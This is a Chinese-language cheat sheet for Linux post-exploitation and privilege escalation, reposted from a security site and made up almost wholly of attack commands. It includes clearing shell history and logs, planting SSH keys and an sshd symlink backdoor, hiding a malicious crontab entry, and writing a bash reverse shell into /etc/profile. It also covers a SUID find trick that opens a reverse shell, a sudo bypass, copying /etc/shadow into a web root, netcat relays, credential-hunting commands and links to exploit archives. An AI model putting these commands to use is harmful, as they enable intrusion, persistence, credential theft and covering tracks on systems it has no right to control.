Linux提权后总结
2021年08月10日发行类型 版本
在命令前加空格 命令不会被记录 [空格]set +o history 设置命令不被记录 set -o history 恢复记录命令 history -d [num] 删除指定命令行 num指左边序号标示 echo > ~/.bash_history 向history 写入空内容覆盖原文件 history -c 清空当前的history ssh公匙写入 写入/root/.ssh/authorized_keys目录下,然后便可以免密码登录了。 生成ssh秘钥 输入命令按三次回车 ssh-keygen -t rsa 生成后在~/.ssh/ 文件夹中 id_rsa为私钥,id_rsa.pub 为公钥 将id_rsa.pub文件内容输入到~/.ssh/authorized_keys文件中,如果没有这个文件,那就自己新建 ssh root@10.211.55.4 ssh软连接 ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=10022 ssh root@10.211.10.1 -p 10022 密码随意输入 成功登陆 设置任务计划 (crontab -l;printf "*/3 * * * * /bin/bash /tmp/cron.sh;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab - 执行成功后隐藏任务计划 nc -lvvp 4433 将反弹shell植入环境变量 echo 'bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1' >> /etc/profile SUID提权 find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \; find 1.txt -exec whoami \; 执行whoami find 1.txt -exec bash -i >& /dev/tcp/192.168.197.149/4444 0>&1 -p \; 反弹shell Sudo配置错误 sudo -u#-1 id 以root执行命令 cat /etc/issue cat /etc/*-release cat /etc/lsb-release cat /etc/redhat-release uname -n //hostname主机名 hostname //同上
内核版本
cat /proc/version uname -a uname -r //内核版本 uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz- cat /proc/cpuinfo //CPU信息
环境变量获取信息
cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set
是否有打印机
lpstat -a
用户 群组
cat /etc/passwd cat /etc/group //列出系统上所有群组 cat /etc/shadow //显示用户哈希——特权指令 grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列举所有超级用户账户 finger //当前登录的用户 pinky //同上 users //同上 who -a //同上 w //当前谁在登录并且他在做什么 last //上次登录的用户列表 lastlog //有关所有用户上次登录时间的信息 lastlog --user root //有关指定用户上次登录时间的信息
用户权限信息
whoami id cat /etc/sudoers //谁被允许以root用户身份执行操作——特权指令 sudo -l //当前用户可以以root身份执行的所有操作 cat /etc/passwd | cut -d: #用户列表 grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' #超级用户列表 awk -F: '($3 == "0") {print}' /etc/passwd #超级用户列表 cat /etc/sudoers
用户正在做什么 是否有纯文本格式的密码 他们正在编辑什么?
cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history
关于用户的信息
cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root
root正在运行那些服务
ps aux | grep root ps -ef | grep root
安装了那些程序 版本 是否在运行
ls -alh /usr/bin/ ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archivesO ls -alh /var/cache/yum/
环境信息
env //显示环境变量 set //同上 echo $PATH //路径信息 history //显示当前用户的命令历史记录 cat /etc/profile //显示默认系统变量
查看是否有配置错误
cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ ps aux | grep root // 查看以root身份运行的服务 cat /etc/inetd.conf //由inetd管理的服务列表 cat /etc/xinetd.conf //由xinetd管理的服务列表
已安装程序
dpkg -l 已安装的软件包 (Debian) rpm -qa 已安装的软件包 (Red Hat) sudo -V sudo版本——是否存在漏洞利用 httpd -v Apache版本 apache2 -v 同上 apache2ctl (or apachectl) -M 列出已加载的Apache模块 mysql --version 已下载的MYSQL版本细节 perl -v 已下载的Perl版本细节 java -version 已下载的Java版本细节 python --version 已下载的Python版本细节 ruby -v 已下载的Ruby版本细节 find / -name %program_name% 2>/dev/null (即nc, netcat, wget, nmap等) 找到可用的程序 (netcat, wget等) which %program_name% 同上
SSH信息
查找私钥信息 cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key
任务进程
crontab -l -u %username% //显示指定用户的计划任务——特权指令 ls -la /etc/cron* //计划任务概述(每小时,每天,每月等等) ls -aRl /etc/cron* | awk '$1 ~ /w.$/' 2>/dev/null //其他人可以在/etc/cron*目录下写什么 ls -alh /var/spool/cron ls -al /etc/ | grep cron cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab ls -alh /etc/cron.daily ls -alh /etc/cron.weekly ls -alh /etc/cron.monthly cat /etc/anacrontab cat /var/spool/cron/crontabs/root
有趣的文件
find /home –name .rhosts -print 2>/dev/null //查找rhost配置文件 ls -ahlR /root/ //查看您是否可以访问其他用户目录以找到有趣的文件——特权指令 ls -ahlR /home/ cat ~/.bash_history //显示当前用户的命令历史记录 ls -la ~/._history //显示当前用户的各种历史记录文件 ls -la ~/.ssh/ Check //当前用户目录中有趣的ssh文件 ls -la /usr/sbin/in.* //检查inetd服务的配置 find /var/log -type f -exec ls -la {} ; 2>/dev/null //列出指定目录中的文件(/var/log) find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null 列出指定目录中的.log文件(/var/log) find /etc/ -maxdepth 1 -name .conf -type f -exec ls -la {} ; 2>/dev/null 列出/etc中的.conf文件(递归1级) ls -la /etc/.conf 同上 lsof -i -n //列出打开的文件(输出将取决于帐户权限) lsof -u root //以root身份列出所有打开的文件和进程
可以在/etc/中写入那些配置文件 并能否重新启动
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null #任何人 ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null #所有者 ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null #所在群组 ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null #其他人 find /etc/ -readable -type f 2>/dev/null #任何人 find /etc/ -readable -type f -maxdepth 1 2>/dev/null #任何人
可以在哪里写入和执行?一些“常见”位置:/tmp,/var/tmp,/dev/shm
find / -writable -type d 2>/dev/null #全局可写文件夹 find / -perm -222 -type d 2>/dev/null #全局可写文件夹 find / -perm -o+w -type d 2>/dev/null #全局可写文件夹 find / -perm -o+x -type d 2>/dev/null #全局可执行文件夹 find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null # 全局可写可执行文件夹
可以找到哪些敏感文件
cat /etc/passwd cat /etc/group cat /etc/shadow
查看/var/信息
ls -alh /var/mail/ ls -alh /var/log ls -alh /var/mail ls -alh /var/spool ls -alh /var/spool/lpd ls -alh /var/lib/pgsql ls -alh /var/lib/mysql cat /var/lib/dhcp3/dhclient.leases
查看网站是否有隐藏文件 包含数据文件
ls -alhR /var/www/ ls -alhR /srv/www/htdocs/ ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ ls -alhR /var/www/html/
查看本地日志 能否包含
cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log cat /var/log/chttp.log cat /var/log/cups/error_log cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages cat /var/log/secure cat /var/log/syslog cat /var/log/wtmp cat /var/log/xferlog cat /var/log/yum.log cat /var/run/utmp cat /var/webmin/miniserv.log cat /var/www/logs/access_log cat /var/www/logs/access.log ls -alh /var/lib/dhcp3/ ls -alh /var/log/postgresql/ ls -alh /var/log/proftpd/ ls -alh /var/log/samba/ //auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
搜索文件中的特定字符
file ./somefile //文件信息 strings ./*.txt | grep password find / -name “*.log” |xargs grep -i pass grep -l -i pass /var/log/*.log 2>/dev/null find / -maxdepth 10 -name *.conf -type f | grep -Hn pass; 2>/dev/null //搜索字符串'password'并且输出行号 find / -maxdepth 10 -name *etc* -type f | grep -Hn pass; 2>/dev/null //同上,但是用在*etc*上 grep -l -i pass /var/log/*.log 2>/dev/null //检查日志文件中是否有关键字(在此示例中为“pass”)并显示肯定的匹配项 find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null 查找.conf文件(递归4级)并输出password一词所在的行号 grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" hexeditor ./file objdump -D -M intel ./file objdump -D -M x86-64 ./file >> dump64.file cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg find / -name "network-secret.txt" locate "network-secret.txt"
使用了哪些“高级Linux文件权限”?Sticky位,SUID和GUID
find / -perm -u=s -type f 2>/dev/null #查找设置了Sticky位的文件 find / -perm -1000 -type d 2>/dev/null #使用Sticky位查找目录-仅目录所有者或文件所有者可以在此处删除或重命名 find / -perm -g=s -type f 2>/dev/null #SGID(chmod 2000)-作为组运行,而不是启动它的用户。 find / -perm -u=s -type f 2>/dev/null #SUID(chmod 4000)-以所有者而不是启动它的用户身份运行。 find / -perm -g=s -o -perm -u=s -type f 2>/dev/null #SGID或SUID for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done #在“常见”位置中查找:/bin,/sbin,/usr/bin,/usr/sbin,/usr/local/bin,/usr/local/sbin和任何其他*bin,以查找SGID或SUID(更快的搜索方式) //查找以根(/),SGID或SUID开头,而不是符号链接,深度仅3个文件夹,列出更多详细信息并隐藏任何错误(例如,权限被拒绝) find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
在哪里可以写入和执行?一些“常见”位置:/tmp,/var/tmp,/dev/shm
例://我们在上面的列表中找到了cp(copy),现在我们正在利用它: cp -f --no-preserve=all /etc/shadow /var/www/html/joomla/shadow.txt 要记住的几件事: //(1)在目标位置,文件所有者将是根用户,但该组将是当前用户的用户,并且 //(2)注意使用“ --no-preserve”来读出受保护的文件。 //我们可以通过很多方式来滥用它,使用新帐户更新shadow文件,修改sudoers,使用ssh key +修改sshd_config ## +reboot,或cron.hourly。
网络通信
df -ah //所有文件系统信息,包括伪,重复,不可用文件系统 cat /etc/fstab //查看是否有任何卸载的文件系统 /sbin/ifconfig -a //列出所有网络接口 cat /etc/network/interfaces //同上 cat /etc/sysconfig/network arp -a //显示arp通信 route //显示路由信息 cat /etc/resolv.conf //显示配置的DNS服务器地址 netstat -antp //列出所有TCP套接字和相关的PID(-p 特权指令) netstat -anup //列出所有UDP套接字和相关的PID(-p 特权指令)tee iptables -L //列出规则——特权指令 cat /etc/services //查看端口号/服务映射
查看DHCP服务器 DNS网关
cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname dnsdomainname
有那些用户或主机正在与系统通信
lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on
缓存信息IP/MAC
arp -e route /sbin/route -nee
数据包嗅探
//tcpdump tcp dst [ip] [port] and tcp dst [ip] [port] tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21 tcpdump -n dst host 192.168.1.5 -vvv -n -w file.cap
能否进行端口转发
#rinetd http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch #fpipe FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP] FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 //ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip] ssh -L 8080:127.0.0.1:80 root@192.168.1.7 #本地端口 ssh -R 8080:127.0.0.1:80 root@192.168.1.7 #远程端口 //mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe #端口中继 mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe #代理 (端口从80到8080) mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe #代理监控(端口从80到8080)
可以使用隧道技术吗 在本地远程发送命令
ssh -D 127.0.0.1:9050 -N [username]@[ip] proxychains ifconfig
把bash复制到新的subshell
从远程服务器安装NFS共享,将bash从本地复制到远程并执行 cp -p ./bash /mnt/share/newbash ./newbash -p
查看支持那些开发语言
find / -name perl* find / -name python* find / -name java* find / -name gcc* find / -name cc
查看如何上传文件
find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp
使用SSH复制文件
scp username@b:/path/to/file /path/to/destination //在登录到A时 scp /path/to/file username@a:/path/to/destination //在登录到B时
用gcc编译C
gcc ./ajaira_exploit.c -o exploit
清除历史记录,iptables和日志
iptables -F; history -c; find ./ -name “*.log” |xargs rm -f
后缀版本
postconf -d | grep mail_vers
查找exploit代码
https://www.exploit-db.com https://1337day.com https://www.securiteam.com https://www.securityfocus.com https://www.exploitsearch.net https://metasploit.com/modules/ https://securityreason.com https://seclists.org/fulldisclosure/ https://www.google.com
查找更多有关漏洞的信息
https://www.cvedetails.com https://packetstormsecurity.org/files/cve/[CVE] https://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]https://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE] https://www.vulnview.com/cve-details.php?cvename=[CVE]]https://www.vulnview.com/cve-details.php?cvename=[CVE]
(快速)预编译二进制代码文件
https://tarantula.by.ru/localroot/ https://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/
使用第三方脚本/工具试试吧!
系统怎么打内核,操作系统,所有应用程序,插件和Web服务的最新补丁?
apt-get update apt-get upgrade yum update
服务运行所需的最低的权限?
例如,你需要以root身份运行MySQL?
能够从以下网站找到自动运行的脚本?!
https://pentestmonkey.net/tools/unix-privesc-check/ https://labs.portcullis.co.uk/application/enum4linux/ https://bastille-linux.sourceforge.net
linux-kernel-exploits Linux
https://github.com/SecWiki/linux-kernel-exploits
转自
https://www.sec-in.com/article/911